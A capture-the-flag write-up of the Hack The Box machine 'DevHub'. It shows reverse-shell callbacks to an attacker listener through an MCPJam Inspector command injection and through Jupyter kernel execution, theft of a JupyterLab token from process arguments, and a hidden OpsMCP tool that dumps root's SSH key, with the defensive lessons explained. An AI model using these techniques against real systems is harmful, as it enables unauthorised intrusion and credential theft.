Hackthebox: DevHub
Overview
DevHub is a medium-difficulty Linux machine from Hack The Box built entirely around the Model Context Protocol tooling ecosystem — which makes it one of the more interesting boxes I’ve done this year, because the whole chain is made of mistakes that only started existing in the last twelve months. A full-port scan surfaces MCPJam Inspector on the non-standard port 6274, and that version is vulnerable to CVE-2026-23744: the /api/mcp/connect route takes a serverConfig.command straight from an unauthenticated request body and hands it to child_process.spawn(), so we get RCE as mcp-dev with a single curl. From there, loopback enumeration turns up two services the public surface never hinted at — a JupyterLab instance owned by analyst and a root-owned Flask app called OpsMCP. JupyterLab’s auth token is sitting in its own argv where any local user can read it with ps, and a Jupyter kernel executes Python as analyst, so that’s our cross-user pivot and the user flag. analyst‘s home then gives up the OpsMCP API key, and the OpsMCP server makes the classic dispatch-map mistake: it filters its listing of tools but not its calling of them, so the hidden ops._admin_dump tool is still fully callable and happily returns root’s SSH private key inline in a JSON response. We SSH in with it as root.

Reconnaissance
We start off with our usual full-port nmap scan, which on this box is not optional — a default top-1000 run finds exactly two ports and both of them are dead ends:
1 | kujen@kujen:~$ nmap -p- --min-rate=2500 -T4 10.129.13.179 -oN nmap-fast.txt |
There it is. 6274 is well outside the top-1000 range, and if we’d stopped at the default scan we’d have spent the evening fuzzing an nginx vhost for nothing. nmap can’t name the service either, so let’s ask it ourselves:
1 | kujen@kujen:~$ curl -s --max-time 5 http://10.129.13.179:6274/ | head -20 |
1 |
|
A React SPA titled MCPJam Inspector, with an mcp_jam.svg favicon. That port number is also a giveaway once you’ve seen it before — 6274 is MCPJam’s default, the same way 6277 is its proxy port.
For anyone who hasn’t run into it: MCPJam Inspector is a local debugging UI for the Model Context Protocol. You point it at an MCP server, it connects, and it gives you a web interface to browse that server’s tools, resources and prompts and invoke them by hand. It’s basically Postman for MCP servers. The important architectural detail is how it connects to a stdio MCP server: it spawns the server as a child process. You hand it a command, it runs the command, and it talks the protocol over that process’s stdin/stdout.
Which means the entire security model of the thing rests on one assumption — that the only person who can tell it what command to spawn is the developer sitting at the keyboard. On this box, it’s bound to 0.0.0.0.
Port 80, for completeness, is an nginx-served static landing page for the “DevHub” internal portal. We add the hostname to /etc/hosts so vhost-based routing behaves:
1 | kujen@kujen:~$ echo "10.129.13.179 devhub.htb" | sudo tee -a /etc/hosts |
There’s nothing on it that moves us forward, though. The inspector is the way in.
Foothold — CVE-2026-23744: MCPJam Inspector Command Injection
The version running here is v1.4.2, which we can confirm later from /opt/mcpjam/node_modules/@mcpjam/inspector/package.json once we’re on-box. That release is vulnerable to CVE-2026-23744, and the bug is about as blunt as they come.
The inspector exposes a backend route at POST /api/mcp/connect. Its job is to take a server definition from the UI and establish a connection to it. For a stdio-transport MCP server, that definition looks like this:
1 | { |
The handler pulls serverConfig.command and serverConfig.args out of the JSON body and passes them to child_process.spawn(command, args). There is no allow-list of permitted commands, no check that the binary is an MCP server, no validation of args at all — and, critically, no authentication on the route. The inspector was written on the assumption that it’s a localhost-only developer tool, so it never bothered to authenticate anything. Bind it to 0.0.0.0 and that assumption evaporates: anyone who can reach the port gets to run arbitrary commands as whatever UID the inspector runs under.
So we don’t need an exploit script here. We need a curl and a listener.
1 | kujen@kujen:~$ nc -lvnp 9001 |
And in a second terminal, we POST a serverConfig whose “MCP server” is a bash reverse shell:
1 | kujen@kujen:~$ curl -s -X POST http://10.129.13.179:6274/api/mcp/connect \ |
1 | {"error":"MCP error -32000: Connection closed"} |
That error looks like a failure, and the first time I saw it I nearly moved on. It isn’t. The inspector spawned our process, then tried to perform an MCP initialize handshake over its stdio — and bash -i does not speak JSON-RPC, so the handshake failed and the inspector reported the connection as closed. The response is purely cosmetic. spawn() already happened, and over on the listener:
1 | connect to [10.10.16.32] from (UNKNOWN) [10.129.13.179] 52244 |
Unauthenticated RCE as the mcp-dev service account, from one HTTP request with no payload engineering whatsoever. Let’s upgrade the TTY before we go any further, because we’re going to be doing real work in this shell:
1 | mcp-dev@devhub:~$ python3 -c 'import pty;pty.spawn("/bin/bash")' |
(Then Ctrl+Z, stty raw -echo; fg, Enter on the attacker side as usual.)
mcp-dev owns the inspector and nothing else — no sudo rights, no interesting group membership, and no user flag in its home. It’s a foothold, not a user.
Internal Port Enumeration
The three ports we found from outside are the tip of the iceberg. The first thing worth doing from any fresh foothold is asking the box what it’s listening on locally, because loopback-bound services are written by people who assume nobody untrusted will ever reach them:
1 | mcp-dev@devhub:~$ ss -tlnp |
1 | State Recv-Q Send-Q Local Address:Port Peer Address:Port Process |
Two new services, both loopback-only. ss won’t show us the process for sockets we don’t own, so we cross-reference with ps:
1 | mcp-dev@devhub:~$ ps -eo user,pid,cmd | grep -E '5000|8888|opsmcp|jupyter' | grep -v grep |
1 | root 978 python3 /opt/opsmcp/server.py |
That’s a much more interesting picture than the external scan gave us:
127.0.0.1:8888— JupyterLab, running asanalyst. That’s a user account, andanalystis almost certainly where the user flag lives.127.0.0.1:5000— a Python Flask app out of/opt/opsmcp/, running as root.
So we have a lateral move and a vertical move both sitting on the loopback, and we’re already inside the loopback. Jupyter first.
Leaking the Jupyter Token from ps
JupyterLab authenticates with a token. When the server starts, it either generates one and prints the URL with ?token=... appended, or it takes one from configuration. Here, whoever set this up passed it as a command-line flag — and on Linux, /proc/<pid>/cmdline is world-readable. Every single process’s full argument vector is public information to every user on the box.
1 | mcp-dev@devhub:~$ ps auxww | grep -i jupyter | grep -v grep |
1 | analyst 1081 0.3 2.1 ... /home/analyst/jupyter-env/bin/jupyter-lab |
There’s the whole credential, in plaintext, readable by an unprivileged service account. --ServerApp.password= being empty means the token is the only authentication in front of this server.
This is a mistake that bites people constantly and it’s worth being explicit about why: secrets passed as command-line arguments are not secrets. They’re visible in ps output to every local user, they get captured by process accounting, and they land in shell history. The fix is a config file with 0600 permissions or an environment variable — and even the environment variable is only safe because /proc/<pid>/environ is restricted to the owning user, which cmdline deliberately is not.
Let’s confirm the token actually works, from inside the mcp-dev shell since the service is loopback-only:
1 | mcp-dev@devhub:~$ curl -s -H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \ |
1 | {"name":"","path":"","content":[{"name":"quarterly_analysis.ipynb","path":"quarterly_analysis.ipynb","type":"notebook",... |
Authenticated to JupyterLab as analyst.
Pivoting to analyst — Jupyter Kernel Execution
Now, the obvious move with a notebook server is to open a notebook, type os.system(...) into a cell and run it. We don’t have a browser pointed at the loopback of a remote box, though, and tunnelling the port back over SSH isn’t available either — we don’t have SSH credentials yet. So we talk to the Jupyter REST and WebSocket APIs directly, which is cleaner anyway.
The reason this gets us code execution is the Jupyter architecture itself. The server process and the kernel are separate processes. The kernel is the thing that actually evaluates code, it’s spawned by the server, and it inherits the server’s UID. So any execute_request we send to a kernel runs as analyst — the notebook UI is just a front-end to exactly the API we’re about to use.
Step one, ask the server to spawn us a kernel:
1 | mcp-dev@devhub:~$ KERNEL_ID=$(curl -s -X POST http://127.0.0.1:8888/api/kernels \ |
Step two, a second listener on the attacker box for our analyst shell:
1 | kujen@kujen:~$ nc -lvnp 9002 |
Step three is the only fiddly part. Code execution against a kernel goes over a WebSocket at /api/kernels/<id>/channels, and the box doesn’t ship websocket-client — so rather than fight pip on a box with no egress, we do the framing by hand. It’s less work than it sounds: we need one HTTP Upgrade request, then one masked text frame carrying a Jupyter execute_request message.
1 | mcp-dev@devhub:~$ python3 - <<'PY' |
The two things to keep straight if you’re writing this yourself: the token goes on the upgrade request (Jupyter authenticates the WebSocket at handshake time, not per-message), and the mask bit on the second header byte is mandatory for client-to-server frames — unmasked frames get the connection dropped with no useful error.
Over on the second listener:
1 | connect to [10.10.16.32] from (UNKNOWN) [10.129.13.179] 48112 |
Cross-user pivot done, off the back of a token we read out of ps.
User Flag
1 | analyst@devhub:~$ cat /home/analyst/user.txt |
Enumerating OpsMCP — the Root-Owned Flask API
Which leaves the root-owned Flask app on 127.0.0.1:5000. analyst‘s home has one thing in it that mcp-dev couldn’t read, and it’s named helpfully:
1 | analyst@devhub:~$ ls -la ~ |
Note the permissions on that file — 0600, analyst only. Which is correct hardening, and also completely irrelevant, because the Jupyter kernel we exploited runs as analyst. The file permission was doing its job perfectly; the problem is that we became the user it was protecting it from everyone else for.
The application source is world-readable, so we read it before poking at the API:
1 | analyst@devhub:~$ head -60 /opt/opsmcp/server.py |
1 | VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a" |
And there’s the bug, sitting in four lines of dictionary merging. /tools/list enumerates VISIBLE_TOOLS. /tools/call dispatches against ALL_TOOLS.
This is worth dwelling on because it’s going to be an extremely common finding as MCP servers proliferate. The MCP tool listing is a discovery mechanism — it tells a client what’s available. It is not, and was never meant to be, an authorization mechanism. Treating “I left it out of the listing” as “the client can’t call it” is security by obscurity with the obscurity provided by a comment. Any caller who knows or guesses the tool name invokes it exactly as if it had been advertised, because the dispatch map doesn’t care where the name came from. Prefixing the hidden tools with an underscore is a naming convention, not an access control.
We can see the difference in one pair of requests:
1 | analyst@devhub:~$ curl -s -X POST http://127.0.0.1:5000/tools/list \ |
1 | { |
Four tools, all read-only and harmless. ops._admin_dump is nowhere in that output — and is fully callable.
Dumping Root’s SSH Private Key
tool_admin_dump takes a target argument, and the source shows three accepted values: ssh_keys, passwords and tokens. It also requires confirm: true — without it the endpoint bails out with {"error":"Confirmation required"}, which is a nice illustration of the mindset behind this code. Someone thought carefully enough about this function being dangerous to add a confirmation guard against accidental invocation, and then didn’t think about deliberate invocation at all.
The function reads whatever the target maps to and returns the contents inline in the JSON response. Since the Flask process is running as uid=0, “whatever the target maps to” includes /root/.ssh/id_rsa:
1 | analyst@devhub:~$ curl -s -X POST http://127.0.0.1:5000/tools/call \ |
1 | {"ok":true,"target":"ssh_keys","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEA... |
There it is, root’s private key, handed over by an API call. We pull it out of the JSON and fix the permissions so OpenSSH will accept it:
1 | analyst@devhub:~$ python3 -c \ |
ssh-keygen -y deriving a public key without prompting tells us the key has no passphrase, so it’s immediately usable.
Root Flag
The key is in /root/.ssh/, which means its public half is in /root/.ssh/authorized_keys, which means we can log straight in as root over the SSH service that’s been sitting there on port 22 since the first nmap scan — no further pivoting needed, and from the attacker box rather than through two stacked reverse shells:
1 | kujen@kujen:~$ ssh -i /tmp/root_key -o StrictHostKeyChecking=no [email protected] \ |
1 | uid=0(root) gid=0(root) groups=0(root) |
And that’s root — a proper interactive, stable, key-authenticated root session, which is a much nicer place to end up than a bash -p trick.
Key Takeaways
Every link in this chain is independent of the others, and every one of them is a decision that looked reasonable to whoever made it:
| Layer | Vulnerability | Impact |
|---|---|---|
| MCPJam Inspector | CVE-2026-23744 — unauthenticated serverConfig.command injection on /api/mcp/connect |
RCE as mcp-dev |
| JupyterLab | Auth token passed in process argv (--ServerApp.token=…), world-readable via ps |
Cross-user pivot |
| File permissions | ~/.opsmcp_key correctly 0600 — but Jupyter kernels execute as analyst |
API key recovery |
| OpsMCP Flask | Hidden tool ops._admin_dump dispatched from ALL_TOOLS while /tools/list only shows VISIBLE_TOOLS |
Root-owned arbitrary file read |
| Key hygiene | Root’s id_rsa readable by the root-owned app, no passphrase |
Persistent root via SSH |
The two that I think are worth actually internalising are the first and the fourth, because they’re the same mistake wearing different clothes. MCPJam was written as a localhost developer tool and therefore has no authentication — perfectly defensible right up until someone binds it to 0.0.0.0, at which point “it’s local” stops being a security property and the tool has none left. OpsMCP left a dangerous tool out of its listing and treated that as access control — perfectly defensible if you believe clients only call what they discover, which no attacker has ever done.
Both are the same instinct: an implicit boundary mistaken for an enforced one. And the thing about this box is that MCP tooling is young enough that these patterns are everywhere in real deployments right now. If you’re running an MCP server, the question to ask is not “what does my tool listing expose” but “what happens when someone calls every function in my dispatch map with arguments I didn’t anticipate” — because a listing is documentation, and your authorization check needs to live inside the call path.
Oh, and run the full port scan. Always run the full port scan.
That was it for DevHub, hope you learned something new!
- 0xkujen
- Title: Hackthebox: DevHub
- Author: Foued SAIDI
- Created at : 2026-10-13 17:40:00
- Updated at : 2026-10-13 17:57:51
- Link: https://kujen5.github.io/2026/10/13/Hackthebox-DevHub/
- License: This work is licensed under CC BY-NC-SA 4.0.